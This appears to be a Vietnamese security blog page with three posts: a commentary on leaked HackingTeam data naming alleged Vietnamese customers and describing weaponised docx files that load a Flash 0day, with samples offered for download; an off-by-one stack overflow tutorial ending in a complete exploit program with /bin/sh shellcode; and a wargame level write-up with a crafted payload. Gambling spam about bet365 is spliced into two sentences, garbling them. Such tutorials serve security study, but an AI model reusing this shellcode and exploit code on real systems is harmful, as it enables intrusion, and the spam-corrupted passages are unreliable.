Showing posts with label exploit. Show all posts
Showing posts with label exploit. Show all posts

#hackingteam Vietnam Customers - Khách hàng ở Việt Nam

8 comments:
Sau một thời gian coi qua các dữ liệu bị rò rỉ từ công ty HackingTeam, công ty chuyên cung cấp các giải pháp tấn công có chủ đích cho các tổ chức*, tôi có một số thông tin muốn chia sẻ cùng các bạn về các thông tin từ dữ liệu này.

Danh sách các khách hàng của HackingTeam trải dài từ Đông sang Tây, riêng với khu vực châu á, có các khách hàng như: Acerbaijan, Kazakhstan, Malaysia, Mongolia, Singapore, South Korea... trong đó có Việt Nam. Tôi hiện chỉ điều tra một số thông tin liên quan đến các khách hàng ở Việt Nam này, tham gia buôn bán này hẳng họ phải có nhiều tiền dư dả.

Theo thông tin bị rò rỉ, có 3 tổ chức ở VN là khách hàng (customer/partner) của HackingTeam, như thông tin dưới đây:

VIRNA - GD1
HI-TECH SECURITY INVESTMENT AND DEVELOPMENT COMPANY
No 10, Ho Giam Street, Dong Da District, Hanoi, Vietnam
http://ancnc.vn/index.php?option=com_content&view=article&id=21%3Alinh-vuc-kinh-doanh&catid=30%3Ahoat-dong-kinh-doanh&Itemid=101&lang=vi

VIKIS - GD5
dhag.com.vn
Room 212, Block B, B15 Tower, Dai Kim - Dinh Cong New Town, Hanoi, Vietnam

Với VIRNA là An Ninh Việt Nam. Có một số bằng chứng về việc HackingTeam tham gia giảng dạy trực tiếp cho Cảnh Sát Việt Nam, một báo cáo từ HackingTeam có thể chứng thực điều này.
Một số thông tin hợp đồng:

Và hóa đơn thanh toán đợt 1:

Hiện thông tin thu thập chưa được nhiều, tôi rất muốn biết mục tiêu tấn công của họ là những ai. Qua một số dữ liệu tôi phân tích được, có vài thông tin thú vị như sau:

- Một yêu cầu đính mã tấn công vào tệp văn bản được gửi cho HackingTeam từ khách hàng Việt Nam:

Và sau đó là trả lời từ HackingTeam

Các mẫu khai thác này cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365o phân tích sơ bộ của tôi, họ đính kèm một activex vào tệp docx, activex này sẽ load một swf từ trang mynewsfeeds.info là một 0day đã được thông báo từ hôm qua.


Nội dung hiển thị của các tệp docx có nội dung tương tự như:
Nội dung này một phần là có mục đích để tấn công social engineer đối với đối tượng. Nhìn nội dung trên thì tôi cũng đoán ra mục tiêu tấn công là những người thuộc nhóm đối tượng nào rồi. Tôi nhớ là, trong một số báo cáo về mã độc trước đây cũng có các kịch bản tấn công bằng cách đính kèm mã khai thác vào tệp văn bản với nội dung có tính chất tương tự như trên.

Tôi có tải các mẫu lên ở đây, các bạn có thể tải về và thử làm rõ hơn.

Off by one - overwrite ebp with one byte .

No comments:
Trong các tình huống tràn bộ đệm khác nhau, nhiều trường hợp, chỉ có thể ghi đè được 1 byte duy nhất ra ngoài vùng được phép - ghi đè 1 byte lên thanh ghi ebp. Bài viết này sẽ trình bày một số điểm khái quát trong quá trình tận dụng lỗi này .

Trước hết, một source code của chương trình bị lỗi như sau :

#include 

func(char *sm)
{
        char buffer[256];
        int i;
        for(i=0;i<=256;i++)
                buffer[i]=sm[i];
}

main(int argc, char *argv[])
{
        if (argc < 2) {
                printf("missing args\n");
                exit(-1);
        }

        func(argv[1]);
}

Để khai thác được lỗi này, thì phải compile chương trình trên bằng gcc 3.x với option -mpreferred-stack-boundary=2 :

crazyboy@h4x0r:$ gcc -mpreferred-stack-boundary=2 offone.c -o offone

Hàm func() của chương trình trên đã bị lỗi ở đoạn 

for(i=0;i<=256;i++)
      buffer[i]=sm[i];

Thay vì chép 256 bytes, thì nó đã tự sát bằng cách chép đến 257 bytes, đồng nghĩa với việc $ebp bị ghi đè 1 byte. Sơ đồ vùng nhớ khi đang ở trong hàm func lúc bị ghi đè như sau :

saved_eip
 saved_ebp (bị ghi đè 1 byte)   
 AAAAAAAAA   \
 AAAAAAAAA    |  char buffer 
 AAAAAAAAA   /
 int i

Dùng gdb, có thể dễ dàng kiểm chứng rỏ hơn việc $ebp bị ghi đè như thế nào :

(gdb) disass func
Dump of assembler code for function func:
0x080483d4 :    push   %ebp
0x080483d5 :    mov    %esp,%ebp
0x080483d7 :    sub    $0x104,%esp
0x080483dd :    movl   $0x0,0xfffffefc(%ebp)
0x080483e7 :    cmpl   $0x100,0xfffffefc(%ebp)
0x080483f1 :    jg     0x8048418
0x080483f3 :    lea    0xffffff00(%ebp),%eax
0x080483f9 :    mov    %eax,%edx
0x080483fb :    add    0xfffffefc(%ebp),%edx
0x08048401 :    mov    0xfffffefc(%ebp),%eax
0x08048407 :    add    0x8(%ebp),%eax
0x0804840a :    mov    (%eax),%al
0x0804840c :    mov    %al,(%edx)
0x0804840e :    lea    0xfffffefc(%ebp),%eax
0x08048414 :    incl   (%eax)
0x08048416 :    jmp    0x80483e7
0x08048418 :    leave 
0x08048419 :    ret   
End of assembler dump.
(gdb) disass main
Dump of assembler code for function main:
0x0804841a :    push   %ebp
0x0804841b :    mov    %esp,%ebp
0x0804841d :    cmpl   $0x1,0x8(%ebp)
0x08048421 :    jg     0x8048437
0x08048423 :    push   $0x8048554
0x08048428 :    call   0x80482d8
0x0804842d :    add    $0x4,%esp
0x08048430 :    push   $0xffffffff
0x08048432 :    call   0x80482e8
0x08048437 :    mov    0xc(%ebp),%eax
0x0804843a :    add    $0x4,%eax
0x0804843d :    pushl  (%eax)
0x0804843f :    call   0x80483d4
0x08048444 :    add    $0x4,%esp
0x08048447 :    leave 
0x08048448 :    ret   
End of assembler dump.
(gdb)
Continuing.
Breakpoint 8, 0x08048447 in main ()
(gdb) i r ebp
ebp            0xbffff441    0xbffff441
(gdb)

Như vậy, $ebp đã bị ghi đè đúng 1 byte.

Giá trị của $esp đã được điều khiển tùy ý trong khoản 0xbffff400 đến 0xbffff4ff . Dữ liệu vào sẽ được bố trí như sau :

 [NOP][shellcode][&NOP][1 byte X ghi đè lên ebp]

Giá trị của X = [byte thấp của &NOP] - 4 ( 4 bytes khi leave sẽ được pop $ebp ). Lúc này,sau khi đến lệnh ret cuối hàm main, chương trình sẽ tiến hành ret vào $esp hiện giờ đang chứa đia chỉ của phần shellcode phía trước. Địa chỉ của $esp trong hàm func sẽ làm địa chỉ nền để ret về :

(gdb) b* 0x080483dd
Breakpoint 6 at 0x80483dd
(gdb) b* 0x08048418
Breakpoint 7 at 0x8048418
(gdb) r `python -c 'print "A"*257'`
The program being debugged has been started already.
Start it from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 beginning? (y or n) y
Starting program: /tmp/offone/offone `python -c 'print "A"*257'`

Breakpoint 6, 0x080483dd in func ()
(gdb) x/2x $esp
0xbffff328:    0xb7fcf000    0xbffff380
(gdb) c
Continuing.

Breakpoint 7, 0x08048418 in func ()
(gdb) x/2x $esp
0xbffff328:    0x00000101    0x41414141
(gdb)
Như vậy, địa chỉ ret về sẽ là 0xbffff32c .

Chương trình khai thác như sau :

#include 
#include 

char sc_linux[] =
        "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
        "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
        "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
        "\xd7\xff\xff\xff/bin/sh";

main()
{
        int i, j;
        char buffer[1024];

        bzero(&buffer, 1024);
        for (i=0;i<=(248-sizeof(sc_linux));i++)
        {
                buffer[i] = 0x90;
        }
        for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
        {
                buffer[i] = sc_linux[j];
        }
        buffer[i++] = 0x2c; /*
        buffer[i++] = 0xf3;  * Địa chỉ của bufer sẽ đươc pop $ebp
        buffer[i++] = 0xff;  *
        buffer[i++] = 0xbf;  */
        buffer[i++] = 0x2c; /*
        buffer[i++] = 0xf3;  * 2 lần vì 1 địa chỉ để pop $ebp phải hợp lệ.
        buffer[i++] = 0xff;  * phần này sẽ được dùng để ret .
        buffer[i++] = 0xbf;  */
        buffer[i++] = 0x24;  // 0xbfff428 là địa chỉ của &NOP.
        execl("./offone", "offone", buffer, NULL);
}


Một số chi tiết về mã asm, địa chỉ sẽ khác nhau tùy máy, tùy hệ điều hành và các phiên bản khác nhau của compiler.

Bài viết có tham khảo từ : http://www.phrack.org/issues.html?id=8&issue=55

fucked lvl10@io !

No comments:
Ở level này, vấn đề đặt ra không khó, nhưng vì chưa đụng đến cũng như chưa từng đọc tài liệu về nó nên bị bí. Source của lvl10 như sau :

#include
#include
#include

// Contributed by Torch

int limit, c;
int getebp() { __asm__("movl %ebp, %eax"); }

void f(char *s)
{
int *i;
char buf[256];

i = (int *)getebp();
limit = *i - (int)buf + 1;
printf("limit = %d\n",limit);
for (c = 0; c < limit && s[c] != '\0'; c++) buf[c] = s[c]; } int main(int argc, char **argv) { int cookie = 1000; if (argc != 2) exit(1); f(argv[1]); if ( cookie == 0xdefaced ) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "/bin/sh", "-i", NULL); } return 0; }


Ta chú ý 2 dòng này:

i = (int *)getebp();
limit = *i - (int)buf + 1;
Tại sao không phải cộng 1 ??? Bạn có thể đoán được điều gì sẽ xảy ra phải không. Vâng, ta sẽ kiểm chứng điều bạn nghĩ :D .

level10@io:/levels$ gdb level10
...
(gdb) disassemble main
Dump of assembler code for function main:
0x08048472 : lea 0x4(%esp),%ecx
0x08048476 : and $0xfffffff0,%esp
0x08048479 : pushl -0x4(%ecx)
0x0804847c : push %ebp
0x0804847d : mov %esp,%ebp
0x0804847f : push %esi
0x08048480 : push %ebx
0x08048481 : push %ecx
0x08048482 : sub $0x2c,%esp
0x08048485 : mov %ecx,-0x20(%ebp)
0x08048488 : movl $0x3e8,-0x10(%ebp)
0x0804848f : mov -0x20(%ebp),%eax
0x08048492 : cmpl $0x2,(%eax)
0x08048495 : je 0x80484a3
0x08048497 : movl $0x1,(%esp)
0x0804849e : call 0x8048320
0x080484a3 : mov -0x20(%ebp),%edx
0x080484a6 : mov 0x4(%edx),%eax
0x080484a9 : add $0x4,%eax
0x080484ac : mov (%eax),%eax
0x080484ae : mov %eax,(%esp)
0x080484b1 : call 0x80483fb
0x080484b6 : cmpl $0xdefaced,-0x10(%ebp) // cookie == 0xdefaced, chương trình truy xuất cookie tại -0x10(%ebp)
0x080484bd : jne 0x8048506
0x080484bf : call 0x8048330
0x080484c4 : mov %eax,%ebx
0x080484c6 : call 0x8048330
0x080484cb : mov %eax,%esi
0x080484cd : call 0x8048330
0x080484d2 : mov %ebx,0x8(%esp)
...
(gdb) b main
Breakpoint 1 at 0x8048482
(gdb) b f
Breakpoint 2 at 0x8048404
(gdb) disassemble f
Dump of assembler code for function f:
0x080483fb : push %ebp
0x080483fc : mov %esp,%ebp
0x080483fe : sub $0x110,%esp
0x08048404 : call 0x80483f4
0x08048409 : mov %eax,-0x4(%ebp)
0x0804840c : mov -0x4(%ebp),%eax
0x0804840f : mov (%eax),%edx
0x08048411 : lea -0x104(%ebp),%eax
0x08048417 : mov %edx,%ecx
0x08048419 : sub %eax,%ecx
0x0804841b : mov %ecx,%eax
0x0804841d : inc %eax
0x0804841e : mov %eax,0x804974c
0x08048423 : movl $0x0,0x8049750
0x0804842d : jmp 0x8048452
0x0804842f : mov 0x8049750,%edx
0x08048435 : mov 0x8049750,%eax
0x0804843a : add 0x8(%ebp),%eax
0x0804843d : movzbl (%eax),%eax
0x08048440 : mov %al,-0x104(%ebp,%edx,1)
0x08048447 : mov 0x8049750,%eax
0x0804844c : inc %eax
0x0804844d : mov %eax,0x8049750
0x08048452 : mov 0x8049750,%edx
0x08048458 : mov 0x804974c,%eax
0x0804845d : cmp %eax,%edx
0x0804845f : jge 0x8048470
0x08048461 : mov 0x8049750,%eax
0x08048466 : add 0x8(%ebp),%eax
0x08048469 : movzbl (%eax),%eax
---Type to continue, or q to quit---
0x0804846c : test %al,%al
0x0804846e : jne 0x804842f
0x08048470 : leave
0x08048471 : ret
End of assembler dump.
(gdb) b *0x08048741
Breakpoint 3 at 0x8048741

Ta sẽ thử chạy lvl10 với thông số vào là 300 ký tự ngẫu nhiên :

- Tạo genbuf :

- Run :
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9

....

Breakpoint 1, 0x08048482 in main ()
(gdb) i r ebp
ebp 0xbfffdbf8 0xbfffdbf8

(gdb) c
Continuing.

Breakpoint 2, 0x08048404 in f ()
(gdb) c
Continuing.

Breakpoint 4, 0x08048471 in f ()
(gdb) i r ebp ebp 0xbfffdb36 0xbfffdb36
(gdb) x/x $ebp 0xbfffdb36: 0x65413365
(gdb) x/x $ebp-0x10 0xbfffdb26: 0x41386441

---> ebp khi push vào stack đã bị ghi đè 1 byte thành 0xbfffdb36
---> tại offset của ebp tính tới 4 byte là 0x65413345 ứng với chuỗi eA3e trong đoạn genbuf ở trên.
---> khi đó chương trình sẽ truy xuất cookie là 0x41386441 .

Đến đây coi như đã xong, việc còn lại là chỉnh sửa genbuf để phù hợp với phân tích trên. genbuf sau khi chỉnh sửa là :

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7"+"\xed\xac\xef\x0d"+"cede0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9"

Và đoạn exploit như sau :


F/N.